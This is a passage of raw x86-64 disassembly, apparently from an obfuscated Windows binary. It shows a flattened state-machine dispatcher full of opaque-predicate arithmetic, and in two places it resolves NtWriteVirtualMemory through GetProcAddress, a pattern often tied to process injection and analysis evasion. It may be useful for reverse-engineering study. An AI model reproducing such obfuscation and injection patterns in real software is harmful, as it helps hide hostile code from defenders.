cmovne ebp, ecx
test dl, dl
mov ecx, ebp
mov edx, 0x53dc87cc
cmovne ecx, edx
test al, al
jmp 0x1400cbfca
cmp ecx, 0x69d03e4b
jg 0x1400c44be
cmp ecx, 0x67b707f3
je 0x1400c8420
cmp ecx, 0x69696d8f
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov ebp, ecx
and ebp, 0xfffffffe
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov ebp, edx
not ebp
mov edi, edx
and edi, 0xbeab17fc
and ebp, 0x4154e803
or ebp, edi
or edx, ebx
and ebx, 0xbeab17fc
and ecx, 0x4154e803
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
cmp edx, 0xffffffff
sete cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg bl
mov eax, ebx
xor al, cl
xor bl, al
and bl, al
not al
and al, cl
xor cl, dl
and cl, dl
xor al, 1
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov r8d, ecx
xor r8b, 1
mov eax, ecx
and al, r8b
mov edx, eax
xor dl, 1
xor al, cl
or dl, r8b
xor dl, 1
or dl, al
xor dl, bl
xor bl, 1
mov eax, ebx
and al, r8b
xor bl, r8b
or bl, al
mov eax, ebx
xor al, dl
test bl, 1
mov ecx, 0x91092245
mov ebp, 0x864e63db
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
test al, 1
mov eax, 0x91092245
jmp 0x1400cc8d4
cmp ecx, 0xa7877ffe
jg 0x1400c45ee
cmp ecx, 0xa57bc2ae
je 0x1400c851e
cmp ecx, 0xa731565d
jne 0x1400bd720
mov edx, dword [0x140265728]
mov r8d, dword [0x140265724]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov ebx, ebp
and ebx, 0x96cefdb
mov edx, ecx
and edx, 0xf6931024
or edx, ebx
mov ebx, edx
xor ebx, 0x34020000
xor edx, 0x96cefda
mov edi, ecx
xor edi, 0xfffffffe
and edi, ecx
or edx, 1
mov esi, edi
not esi
mov eax, edx
and eax, 0xcabdd1ad
and ebx, 0x35422e52
or ebx, eax
or edx, esi
and esi, 0xcabdd1ad
and edi, 0x35422e52
or edi, esi
xor edi, ebx
not edx
or edx, edi
not edx
and ebp, 0x62f9ed0e
and ecx, 0x9d0612f1
or ecx, ebp
xor ecx, 0x9d0612f1
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x472f765f
and ecx, 0xb8d089a0
or ecx, eax
xor ecx, 0xb8d089a0
sete r9b
setne al
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
mov ecx, eax
and cl, bl
or al, dl
and dl, r9b
or dl, cl
xor dl, 1
or dl, bl
xor dl, 1
or bl, r9b
mov ecx, ebx
xor cl, al
or bl, al
xor bl, 1
or bl, cl
xor bl, dl
mov eax, ebx
xor al, 1
and al, dl
mov ecx, eax
xor cl, bl
test cl, 1
mov edx, 0xd989ed1
mov ebp, 0x7d442e69
cmovne edx, ebp
test bl, 1
mov ecx, edx
cmovne ecx, ebp
jmp 0x1400cbe62
cmp ecx, 0xe3647972
jg 0x1400c4782
cmp ecx, 0xe2e265a9
je 0x1400c8623
cmp ecx, 0xe310b438
jne 0x1400bd720
mov ecx, 0x40a3b9aa
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
cmp ecx, 0x1c5c1ab8
jg 0x1400c47b0
cmp ecx, 0x190eded8
je 0x1400c8770
cmp ecx, 0x1b5ea608
jne 0x1400bd720
mov ecx, 0xae331c37
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
cmp ecx, 0x590cbe4f
jg 0x1400c48b8
cmp ecx, 0x577a7012
je 0x1400c8872
cmp ecx, 0x5862ba0d
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov r8d, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ebx, ebp
or ebx, 0x91d917bb
mov ecx, ebx
not ecx
or edx, 0x6c224840
and edx, 0x6ce34952
and ebp, 0x911816a9
or ebp, edx
and ebx, 0x6ce34952
and ecx, 0x204a004
or ecx, ebx
xor ecx, ebp
mov edx, ecx
not edx
and edx, 0x46302058
and ecx, 0xb9cfdfa7
or ecx, edx
mov ebx, ecx
xor ebx, 0x2816c81c
mov edx, ecx
xor edx, 0x90691501
and edx, 0xb86d1505
xor ecx, 0xd8451ce8
and ecx, ebx
and ebx, 0x4792eafa
or ebx, edx
mov ebp, ebx
xor ebp, 0x4792eafa
xor ebx, 0xb86d1505
mov edx, ebx
or edx, 0xfac2b0b
mov edi, edx
not edi
mov esi, ecx
not esi
mov eax, edx
and eax, 0xc7da31b
and edi, 0xf00254e4
or edi, eax
or edx, esi
and esi, 0xc7da31b
and ecx, 0xf3825ce4
or ecx, esi
xor ecx, edi
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0xfac2b0a
and edx, 0xf053d4f5
or edx, eax
and ebx, 0x9e6a3e55
mov eax, ebp
and eax, 0x6195c1aa
or eax, ebx
xor eax, 0x9e6a3e54
and ebp, 1
or ebp, eax
mov eax, ebp
not eax
mov edi, edx
not edi
mov ecx, edi
and ecx, 0xe8a2740c
and edx, 0x175d8bf3
or edx, ecx
or edi, ebp
and ebp, 0xe8a2740c
and eax, 0x175d8bf3
or eax, ebp
xor eax, edx
not edi
or edi, eax
mov ecx, edi
mov eax, edi
xor eax, 0x8daa69af
and eax, edi
not edi
and edi, 0x8236923
and ecx, 0xf7dc96dc
or ecx, edi
mov edx, ecx
xor edx, 0x1880004
xor ecx, 0x8226923
or ecx, 0x72559650
mov ebp, eax
not ebp
mov ebx, ecx
and ebx, 0xfe04559b
and edx, 0x1aa2824
or edx, ebx
or ecx, ebp
and ebp, 0xfe04559b
and eax, 0x1fbaa64
or eax, ebp
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x72559650
and ecx, 0x8daa69af
or ecx, eax
sete al
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg dl
xor dl, al
xor dl, 1
mov ebx, ecx
or bl, al
xor bl, 1
xor cl, al
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
xor cl, dl
and dl, cl
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0xc4acaa7f
mov ebp, 0x2818ae51
cmovne ecx, ebp
test dl, dl
cmove ecx, ebp
not al
test al, 1
mov eax, 0xc4acaa7f
jmp 0x1400cc4e4
cmp ecx, 0x3c460955
jg 0x1400c48e6
cmp ecx, 0x3ad94a06
je 0x1400c8984
cmp ecx, 0x3b20bc8d
jne 0x1400bd720
mov edx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0xab33fac2
and ecx, 0x54cc053d
or ecx, edx
mov edx, ecx
xor edx, 0x54cc053d
mov ebp, ecx
xor ebp, 0xab33fac2
xor ecx, 0x54cc053c
and ecx, edx
and ebp, 0xfffffffe
and edx, 1
or edx, ebp
mov ebp, ecx
not ebp
mov ebx, edx
not ebx
mov edi, ebp
and edi, 0x99ba5e3e
and ecx, 0x6645a1c1
or ecx, edi
or ebp, ebx
and ebx, 0x99ba5e3e
and edx, 0x6645a1c1
or edx, ebx
xor edx, ecx
not ebp
or ebp, edx
mov ecx, ebp
xor ecx, 0x71d62e7a
and ecx, ebp
not ebp
and ebp, 0x71d62e7a
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0xcde0c172
and ecx, 0x321f3e8d
or ecx, edx
mov edx, ecx
xor edx, 0x3c01073
xor ecx, 0xbc36ef08
mov ebp, ecx
and ebp, 0xc809078c
and edx, 0x37f6f873
or edx, ebp
xor edx, 0x37f6f873
or edx, ecx
cmp edx, 0xffffffff
setne cl
sete dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov r8d, eax
xor r8b, dl
and cl, al
or al, dl
xor al, 1
and bl, dl
or bl, cl
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov eax, ebx
xor al, 1
and bl, al
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov eax, ebx
xor al, 1
mov edx, ebx
and dl, al
mov ecx, edx
and cl, bl
xor dl, bl
or dl, cl
xor dl, r8b
xor r8b, 1
mov ecx, r8d
and cl, al
xor al, r8b
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0xba16120c
mov ecx, 0x5a2a9fc9
cmovne ebp, ecx
test al, 1
mov ecx, 0xba16120c
cmovne ecx, ebp
jmp 0x1400c861b
cmp ecx, 0x95f9a7fb
jg 0x1400c4a1b
cmp ecx, 0x91092245
je 0x1400c8b00
cmp ecx, 0x939e9846
jne 0x1400bd720
mov ecx, 0x1eeef899
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
cmp ecx, 0xd2a556d7
jg 0x1400c4b97
cmp ecx, 0xd22477a3
je 0x1400c8c8c
cmp ecx, 0xd2560d35
jne 0x1400bd720
mov rcx, qword [rsp + 0x30]
lea rdx, str.NtWriteVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0x33fd0ebd
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
cmp ecx, 0x743175f0
jg 0x1400c4bc5
cmp ecx, 0x72aab2cb
je 0x1400c8dea
cmp ecx, 0x737de5c6
jne 0x1400bd720
mov ecx, 0x869c9e00
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
cmp ecx, 0xb5d5fb0f
jg 0x1400c4d7d
cmp ecx, 0xb38dd390
je 0x1400c8f92
cmp ecx, 0xb448be8b
jne 0x1400bd720
mov edx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xdec5869f
and edx, 0x213a7960
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0xc93d855b
and edx, 0x36c27aa4
or edx, ebp
xor edx, 0xe807fc3a
mov ebp, ecx
and ebp, 1
xor ecx, 1
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0x5907b1a7
and ecx, 0xa6f84e58
or ecx, ebp
xor ecx, 0xa6f84e58
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and ecx, 0xe8aab906
and edx, 0x175546f9
or edx, ecx
xor edx, 0xe8aab906
sete r10b
setne r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r8b
mov r11d, ecx
mov ebx, ecx
xor bl, r9b
or cl, r9b
and r9b, r8b
and r11b, r10b
or r11b, r9b
xor r10b, r8b
xor cl, 1
or cl, bl
xor cl, 1
mov edx, r10d
and dl, cl
xor cl, r10b
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, ecx
and bl, dl
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
xor bl, r11b
or dl, r11b
xor r11b, cl
xor r11b, 1
xor dl, 1
or dl, r11b
mov eax, ebx
xor al, dl
not al
test al, 1
mov eax, 0x5862ba0d
mov ecx, 0x2818ae51
cmovne eax, ecx
test dl, 1
mov ecx, 0x5862ba0d
cmovne ecx, eax
test bl, 1
jmp 0x1400cc4e4
cmp ecx, 0xf97959d5
jg 0x1400c4eb1
cmp ecx, 0xf8728436
je 0x1400c8fa8
cmp ecx, 0xf8f458e2
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
not edx
mov ecx, edx
and ecx, 0xcac19e86
mov ebp, ebx
xor ebp, 0xcac19e86
and ebp, ebx
mov edi, ecx
and edi, ebp
xor ebp, ecx
or ebp, edi
mov ecx, ebp
not ecx
and ecx, 0x353e6178
and ebp, 0xcac19e87
or ebp, ecx
mov ecx, ebp
not ecx
and edx, ecx
and ebp, ebx
or ebp, edx
xor ecx, ebp
test ecx, ebp
sete cl
setne dl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl bl
mov eax, ebx
xor al, dl
xor al, 1
or al, r8b
xor al, 1
or dl, bl
xor dl, 1
or cl, r8b
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, al
mov edx, ecx
not dl
and dl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0xd10f0aed
mov ebp, 0xd3899c31
cmovne ecx, ebp
test dl, dl
mov edx, 0xd10f0aed
jmp 0x1400cbfc5
cmp ecx, 0x5461816d
jg 0x1400c50db
cmp ecx, 0x53ae62f3
je 0x1400c9190
cmp ecx, 0x53dc87cc
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov esi, dword [0x140265724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0x63c15e9d
and edx, ebp
not ebp
and ebp, 0x22c14c10
and ecx, 0x4100128d
or ecx, ebp
mov ebp, ecx
xor ebp, 0x40000088
xor ecx, 0xbeffed72
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xb51e9765
and ebp, 0x42c14898
or ebp, edi
or ecx, ebx
and ebx, 0xb51e9765
and edx, 0x4ae1689a
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x9c3ea162
and ecx, 0x63c15e9d
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebp, ecx
not ebp
and ebp, 0x55415d70
and ecx, 0xaabea28f
or ecx, ebp
xor ecx, 0xaabea28e
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov ebp, ecx
not ebp
mov ebx, ebp
or ebx, 0xd13a2e79
mov edx, ebx
not edx
or ecx, 0xa015106
and ecx, 0xca397f3e
and ebp, 0x11020041
or ebp, ecx
and ebx, 0xca397f3e
and edx, 0x24c48080
or edx, ebx
xor edx, ebp
mov ecx, edx
not ecx
and ecx, 0x1b1435d5
and edx, 0xe4ebca2a
or edx, ecx
mov ecx, edx
xor ecx, 0x2150c441
xor edx, 0xca2e1bac
mov ebp, edx
and ebp, 0x9483229e
and ecx, 0x6b7cdd61
or ecx, ebp
xor ecx, 0x9483229e
xor edx, ecx
test edx, ecx
sete r8b
setne al
cmp esi, 0xa
setl cl
cmp esi, 9
setg r9b
mov ebx, eax
xor bl, r8b
and bl, al
mov eax, ebx
xor al, 1
and bl, al
xor bl, 1
mov edx, ebx
xor dl, al
or bl, al
xor bl, 1
or bl, dl
mov eax, ebx
xor al, r9b
and bl, al
and al, r9b
xor bl, 1
xor al, 1
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov edx, r9d
xor dl, r8b
and dl, r9b
xor cl, r8b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0xdf70c077
mov ebp, 0x9b52ae27
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
not dl
test dl, 1
mov eax, 0xdf70c077
jmp 0x1400cc4e4
cmp ecx, 0x342359e1
jg 0x1400c51c3
cmp ecx, 0x3341535b
je 0x1400c91b2
cmp ecx, 0x33fd0ebd
jne 0x1400bd720
mov rcx, qword [rsp + 0x30]
lea rdx, str.NtWriteVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x140265728]
mov r9d, dword [0x140265724]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
or ecx, 1
mov ebp, ecx
not ebp
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x344cd89
and ebp, 0xfcbb3276
or ebp, esi
or ecx, edi
and edi, 0x344cd89
and edx, 0xfcbb3276
or edx, edi
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
and ecx, ebx
not ebx
not edx
and ebx, edx
or ecx, ebx
not ecx
or ecx, edx
cmp ecx, 0xffffffff
sete cl
setne al
cmp r9d, 0xa
setl r8b
cmp r9d, 9
setg dl
and al, dl
mov ebx, r8d
and bl, cl
or bl, al
xor dl, bl
and dl, bl
xor cl, r8b
mov ebx, edx
xor bl, 1
and bl, cl
xor cl, 1
mov eax, edx
xor al, cl
and al, dl
and cl, dl
or cl, bl
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0xd2560d35
mov ebp, 0x10f77459
cmovne ecx, ebp
test al, al
mov eax, 0xd2560d35
cmove ecx, eax
test dl, dl
jmp 0x1400cbfca
cmp ecx, 0x8b468a1f
jg 0x1400c52fd
cmp ecx, 0x8a6caa20
je 0x1400c940a
cmp ecx, 0x8b1b4eb1
jne 0x1400bd720
mov edx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ebp, [rdx - 1]
imul ebp, edx
mov ebx, ebp
not ebx
mov edx, ebx
and edx, 0x92c54242
mov ecx, ebp
and ecx, 0x6d3abdbc
or ecx, edx
mov edi, ecx
xor edi, 0x60283d1c
xor ecx, 0x82804201
mov edx, ebx
or edx, 0x8f92c2a0
and ecx, 0x8f92c2a1
and edi, 0x706d3d5e
or edi, ecx
and edx, 0x8f92c2a1
xor edx, edi
and ebx, 0xf3ee2fe3
and ebp, 0xc11d01c
or ebp, ebx
mov ecx, ebp
xor ecx, 0xc110014
mov ebx, edx
not ebx
mov edi, ebx
and edi, 0x7286f06a
and edx, 0x8d790f95
or edx, edi
xor ebp, 0x72862062
and ebp, 0x7286f06a
and ecx, 0x8d790f95
or ecx, ebp
xor ecx, edx
xor ebx, ecx
test ebx, ecx
sete cl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl bl
mov eax, ebx
xor al, cl
or bl, cl
xor bl, 1
or bl, al
mov r9d, ebx
xor r9b, 1
and al, cl
or r8b, cl
mov ecx, r8d
xor cl, al
xor al, 1
xor cl, 1
or al, r8b
xor al, 1
or al, cl
mov edx, r9d
and dl, bl
mov ecx, edx
and cl, r9b
xor dl, r9b
or dl, cl
mov ecx, edx
xor cl, 1
and cl, al
xor al, 1
and dl, al
or dl, cl
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0x88c9abe2
mov ecx, 0xab534aeb
cmovne ebp, ecx
test al, 1
mov ecx, 0x88c9abe2
cmovne ecx, ebp
jmp 0x1400c861b
cmp ecx, 0xcd1a8f76
jg 0x1400c542d
cmp ecx, 0xca0805a9
je 0x1400c95ed
cmp ecx, 0xca0ca819
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
not edx
mov ebp, edx
and ebp, 0xfffffffe
mov ecx, ebx
xor ecx, 0xfffffffe
and ecx, ebx
mov edi, ebp
and edi, ecx
xor ecx, ebp
or ecx, edi
mov ebp, ecx
not ebp
and ebp, 0x78c56958
and ecx, 0x873a96a7
or ecx, ebp
mov ebp, ecx
xor ebp, 0x5280624
xor ecx, 0x78c56958
mov edi, ecx
and edi, 0xfa57b88b
and ebp, 0x5a84774
or ebp, edi
or ecx, ebx
and ebx, 0xfa57b88b
and edx, 0x5a84774
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xcecca7a
and ecx, 0xf3133585
or ecx, edx
xor ecx, 0xf3133585
sete r8b
setne r10b
cmp eax, 9
setg r9b
cmp eax, 0xa
setl cl
mov eax, ecx
xor al, r10b
not al
and al, r10b
mov ebx, ecx
or bl, r10b
mov edx, ebx
xor dl, al
xor al, 1
xor dl, 1
or al, bl
xor al, 1
or al, dl
and r10b, cl
and r9b, r8b
or r9b, r10b
mov edx, ecx
and dl, r8b
xor cl, r8b
or cl, dl
xor cl, 1
mov edx, r9d
and dl, cl
xor cl, r9b
or cl, dl
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
xor dl, al
mov ebx, edx
xor bl, 1
and bl, al
mov eax, edx
xor al, bl
test dl, 1
mov ecx, 0x48f3e34e
mov edx, 0xb6a60356
cmovne ecx, edx
test bl, 1
mov ebp, 0x48f3e34e
jmp 0x1400caa00
cmp ecx, 0x70004529
jg 0x1400c545b
cmp ecx, 0x6f932cce
je 0x1400c9615
cmp ecx, 0x6faf54c4
jne 0x1400bd720
mov edx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edi, ecx
not edi
mov ebp, edi
or ebp, 0xa47e5038
mov edx, ebp
not edx
or ecx, 0x5380a103
and ecx, 0xd794e123
mov ebx, edi
and ebx, 0x206a1018
or ebx, ecx
and ebp, 0xd794e123
and edx, 0x8010ec4
or edx, ebp
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0x2ea4b3ee
and edx, 0xd15b4c11
or edx, ecx
xor edx, 0x8adae3d7
mov ecx, edx
and ecx, edi
xor edx, edi
or edx, ecx
cmp edx, 0xffffffff
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and dl, al
and bl, cl
or bl, dl
xor bl, 1
or bl, al
mov edx, eax
xor dl, cl
not dl
and dl, cl
or al, cl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, ebx
xor cl, al
xor al, 1
or al, bl
xor cl, 1
mov edx, eax
xor dl, cl
test cl, 1
mov ecx, 0xb7e65c98
mov ebp, 0xde89bb41
cmovne ecx, ebp
test al, 1
mov eax, 0xb7e65c98
jmp 0x1400c8618
cmp ecx, 0xaebffe11
jg 0x1400c5489
cmp ecx, 0xae331c37
je 0x1400c962b
cmp ecx, 0xae3592c4
jne 0x1400bd720
mov edx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ebp, [rdx - 1]
imul ebp, edx
mov esi, ebp
not esi
mov edx, esi
and edx, 0x6af8ddb1
mov ecx, ebp
and ecx, 0x9507224e
or ecx, edx
mov edx, ecx
xor edx, 0x80000040
xor ecx, 0x209000
mov edi, esi
or edi, 0x842c9ce6
mov ebx, edi
not ebx
or ecx, 0x4a102108
and ecx, 0x4e34b10e
and edx, 0x80080ce0
or edx, ecx
and edi, 0x4e34b10e
and ebx, 0x31c34211
or ebx, edi
xor ebx, edx
mov ecx, ebx
not ecx
and ecx, 0x4194a3
and ebx, 0xffbe6b5c
or ebx, ecx
xor ebx, 0x846d0844
and esi, 0x20b6ff7e
and ebp, 0xdf490081
or ebp, esi
xor ebp, 0xdf490081
mov ecx, ebx
and ecx, ebp
xor ebp, ebx
or ebp, ecx
cmp ebp, 0xffffffff
sete r8b
setne r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl dl
mov eax, edx
xor al, r9b
not al
and al, r9b
mov r10d, edx
or r10b, r9b
mov ebx, r10d
xor bl, al
xor al, 1
xor bl, 1
or al, r10b
xor al, 1
or al, bl
and r9b, dl
and cl, r8b
or cl, r9b
mov ebx, edx
and bl, r8b
xor dl, r8b
or dl, bl
mov ebx, edx
xor bl, cl
xor cl, 1
xor bl, 1
or cl, dl
xor cl, 1
or cl, bl
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x2bad74e9
mov ebp, 0xcef5a53e
cmovne edx, ebp
test cl, 1
mov ecx, 0x2bad74e9
jmp 0x1400cbe5f
cmp ecx, 0xf2e8127f
jg 0x1400c55ef
cmp ecx, 0xed754914
je 0x1400c96f8
cmp ecx, 0xee310893
jne 0x1400bd720
mov edx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x2ac6f161
and edx, ecx
and ecx, 0xd5390e9e
or ecx, ebp
mov ebp, ecx
xor ebp, 0xc4190a90
xor ecx, 0x2ac6f161
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x3be2546e
and ebp, 0xc41dab91
or ebp, edi
or ecx, ebx
and ebx, 0x3be2546e
and edx, 0xc41dab91
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebp, ecx
not ebp
and ebp, 0xb9a35e90
and ecx, 0x465ca16f
or ecx, ebp
xor ecx, 0x465ca16e
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x4e49a4e5
and ecx, 0xb1b65b1a
or ecx, edx
xor ecx, 0xb1b65b1a
sete r8b
setne r9b
cmp eax, 9
setg r10b
cmp eax, 0xa
setl dl
mov ebx, edx
xor bl, r10b
and bl, dl
mov ecx, ebx
xor cl, 1
mov eax, ebx
and al, cl
mov r11d, eax
and r11b, bl
xor al, bl
or al, r11b
or cl, bl
mov ebx, ecx
xor bl, al
xor al, 1
xor bl, 1
or al, cl
xor al, 1
or al, bl
mov ecx, r9d
or cl, al
xor cl, 1
mov ebx, r9d
xor bl, al
xor bl, 1
and bl, al
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
and r9b, dl
and r10b, r8b
or r10b, r9b
mov eax, edx
and al, r8b
xor dl, r8b
or dl, al
xor dl, 1
mov eax, r10d
and al, dl
xor dl, r10b
or dl, al
mov eax, edx
xor al, bl
xor bl, 1
or bl, dl
mov ecx, eax
xor cl, bl
not cl
test cl, 1
mov ecx, 0x3c460956
mov edx, 0x87f63b06
cmovne ecx, edx
test al, 1
mov eax, 0x3c460956
cmovne eax, ecx
test bl, 1
jmp 0x1400cbd10
cmp ecx, 0x220bd972
jg 0x1400c561d
cmp ecx, 0x213a98a7
je 0x1400c98cd
cmp ecx, 0x2179c314
jne 0x1400bd720
mov eax, dword [0x140265728]
mov ecx, dword [0x140265724]
lea ebp, [rax - 1]
imul ebp, eax
mov eax, ebp
not eax
mov edx, ebp
or edx, 0xdb7768f4
mov edi, edx
not edi
mov esi, eax
or esi, 0x2488970b
mov ebx, esi
not ebx
and edx, 0x7b171f76
and edi, 0x4888009
or edi, edx
and esi, 0x7b171f76
and ebx, 0x80606080
or ebx, esi
xor ebx, edi
mov edx, ebx
not edx
and edx, 0xdb7768f5
and ebx, 0x2488970a
or ebx, edx
mov edi, ebx
not edi
mov edx, edi
and edx, 0x7bc4ae17
and ebx, 0x843b51e8
or ebx, edx
and ebp, 0x7bc4ae17
and eax, 0x843b51e8
or eax, ebp
xor eax, ebx
not eax
or eax, edi
cmp eax, 0xffffffff
sete r8b
setne al
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg r9b
mov ecx, eax
xor cl, r9b
mov edx, ecx
and dl, al
and cl, r9b
mov r10d, edx
xor r10b, 1
xor dl, cl
xor cl, 1
or cl, r10b
xor cl, 1
or cl, dl
and r9b, r8b
and al, bl
or al, r9b
mov edx, ebx
and dl, r8b
xor bl, r8b
or bl, dl
xor al, 1
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, 1
and al, bl
or bl, dl
and dl, cl
or dl, al
mov eax, ebx
xor al, dl
test dl, 1
mov ecx, 0x18ba0462
mov ebp, 0xdafbdcf7
cmovne ecx, ebp
test bl, 1
mov edx, 0x18ba0462
jmp 0x1400ca5c7
cmp ecx, 0x10f77459
je 0x1400c9a25
cmp ecx, 0x113ce863
je 0x1400c9a3b
cmp ecx, 0x12acea70
jne 0x1400bd720
mov edx, dword [0x140265728]
mov r8d, dword [0x140265724]
lea ebp, [rdx - 1]
imul ebp, edx
mov edi, ebp
not edi
mov ebx, edi
and ebx, 0xc1d57b7b
mov edx, ebp
and edx, 0x3e2a8484
or edx, ebx
mov ebx, edx
xor ebx, 0x8020004
xor edx, 0x8010021b
mov ecx, ebp
xor ecx, 0x8c12021f
and ecx, ebp
or edx, 0x73edfde0
mov esi, ecx
not esi
mov eax, edx
and eax, 0x774557a
and ebx, 0x88020205
or ebx, eax
or edx, esi
and esi, 0x774557a
and ecx, 0xf88baa85
or ecx, esi
xor ecx, ebx
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x73edfde1
and edx, 0x8c12021e
or edx, eax
and edi, 0x9911a9a2
and ebp, 0x66ee565d
or ebp, edi
mov eax, ebp
xor eax, 0x60480240
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0x1eb6dc1f
and edx, 0xe14923e0
or edx, ecx
xor ebp, 0x18108802
and ebp, 0x1eb6dc1f
and eax, 0xe14923e0
or eax, ebp
xor eax, edx
not eax
or eax, ebx
cmp eax, 0xffffffff
sete dl
setne r9b
cmp r8d, 0xa
setl r10b
cmp r8d, 9
setg al
mov ecx, r9d
and cl, al
mov ebx, r10d
and bl, dl
or bl, cl
xor al, bl
and al, bl
or r9b, r10b
xor dl, r10b
and dl, r10b
mov ecx, r9d
xor cl, dl
xor dl, 1
xor cl, 1
or dl, r9b
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
mov ebx, ecx
and bl, al
xor al, 1
and dl, al
or dl, bl
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0x69696d8f
mov eax, 0x864e63db
cmovne ecx, eax
test dl, 1
cmove ecx, eax
test bl, 1
mov eax, 0x69696d8f
jmp 0x1400cc8d4
cmp ecx, 0x66e9ab5
je 0x1400c9ba8
cmp ecx, 0x8f0445f
jne 0x1400bd720
mov ecx, 0xc0dbd4d9
